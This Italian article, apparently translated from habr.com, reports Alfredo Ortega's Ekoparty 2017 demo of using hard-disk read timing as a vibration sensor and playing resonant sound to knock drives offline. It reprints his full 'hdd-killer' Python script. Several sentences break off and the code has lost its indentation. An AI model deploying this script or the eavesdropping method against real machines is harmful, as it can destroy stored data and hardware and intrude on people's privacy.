Alla conferenza sulla sicurezza informatica Ekoparty 2017 a Buenos Aires, l'hacker argentino Alfredo Ortega ha mostrato uno sviluppo molto interessante: un sistema per intercettare segretamente i locali senza l'utilizzo di un microfono. Suono
L'HDD capta principalmente suoni a bassa frequenza ad alta intensità, passi e altre vibrazioni. Il linguaggio umano non può ancora essere riconosciuto, sebbene gli scienziati
Il suono è la vibrazione dell'aria o di un altro mezzo. Una persona li percepisce attraverso il timpano, che trasmette le vibrazioni all'orecchio interno. Il microfono è progettato più o meno come un orecchio: anche qui le vibrazioni vengono registrate da una sottile membrana che eccita un impulso elettrico. Naturalmente il disco rigido è soggetto anche a vibrazioni microscopiche dovute alle fluttuazioni dell'aria circostante. Lo si sa anche dalle caratteristiche tecniche degli HDD: i produttori di solito indicano il livello di vibrazione massimo consentito e il disco rigido stesso spesso cerca di inserirlo in un contenitore resistente alle vibrazioni in gomma o altro materiale isolante. Da ciò è facile concludere che i suoni possono essere registrati utilizzando l'HDD. Non resta che capire come.
Alfredo Ortega ha proposto una versione unica di un attacco a canale laterale, vale a dire un attacco temporale. Questo attacco si basa sul presupposto che sul dispositivo vengano eseguite operazioni diverse in momenti diversi, a seconda dei dati di input forniti. In questo caso, i “dati di input” sono le vibrazioni della testina di lettura e del piatto dell'HDD, che sono correlate alle vibrazioni dell'ambiente, cioè al suono. Pertanto, misurando il tempo di calcolo ed eseguendo un'analisi statistica dei dati, è possibile misurare le vibrazioni della testina/piatto e quindi le vibrazioni del mezzo. Maggiore è il ritardo nella lettura dei dati, più forti saranno le vibrazioni dell'HDD e, quindi, più forte il suono.
Come misurare le vibrazioni del disco rigido? Molto semplice: basta eseguire la chiamata di sistema read ()
- e registra il tempo necessario per il completamento. I moderni sistemi operativi consentono di leggere i tempi delle chiamate di sistema con una precisione al nanosecondo.
La velocità di lettura delle informazioni da un settore dipende dalla posizione della testina e del piatto, che è correlata alle vibrazioni del case dell'HDD. È tutto.
L'analisi statistica viene eseguita utilizzando una semplice utility Kscope. Come si suol dire, tutto ciò che è geniale è semplice.
Utilità Kscope (chiamata di sistema stat())
Kscope è una piccola utility per visualizzare piccole differenze nei tempi di esecuzione delle chiamate di sistema. Fonte
In un repository separato read ()
.
Dimostrazione della registrazione del suono tramite HDD, funzionamento dell'utilità Kscope
Naturalmente il parlato non può essere compreso in questo modo, ma l'HDD è molto adatto come sensore di vibrazioni. Ad esempio, puoi registrare se una persona che indossa scarpe rigide o è a piedi nudi è entrata in una stanza con un computer (probabilmente, se l'aggressore indossa scarpe da ginnastica morbide o c'è un tappeto spesso sul pavimento, l'HDD non sarà in grado di registrare le vibrazioni - vale la pena verificarlo). Il computer è in grado di registrare vetri rotti o altri incidenti con forte intensità sonora. Cioè, il disco rigido può fungere da sorta di sistema di rilevamento delle intrusioni non autorizzate.
Assassino dell'HDD
A proposito, una tecnica simile può essere utilizzata per disabilitare i dischi rigidi. Solo qui non rimuoviamo le oscillazioni dall'HDD, ma al contrario generiamo oscillazioni che vengono alimentate all'HDD. Se si riproduce l'audio da un altoparlante a una frequenza che risuona con la frequenza dell'HDD, il sistema spegne presto il dispositivo con un errore I/O (il kernel Linux spegne completamente l'HDD dopo 120 secondi). Il disco rigido stesso potrebbe subire danni irreversibili.
Il kernel Linux ha spento il disco rigido dopo 120 secondi di riproduzione del suono a una frequenza di risonanza attraverso l'altoparlante dell'altoparlante USB Edifier r19u. L'altoparlante si accende a circa un quarto della potenza (meno di 100 mW) e si trova a 20 cm dall'HDD, rivolto verso il tavolo per potenziare le vibrazioni. Fotogramma da
È curioso che tali "attacchi" agli HDD a volte avvengano completamente per caso nella vita di tutti i giorni. Ad esempio, nel settembre 2016, il data center della ING Bank è stato costretto a sospendere le operazioni per 10 ore dopo un’esercitazione antincendio.
Dimostrazione di urla umane davanti ai dischi rigidi di un data center. Misurazione della latenza
Per generare il suono risonante, Alfredo Ortega ha scritto uno script Python chiamato
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Fonte: habr.com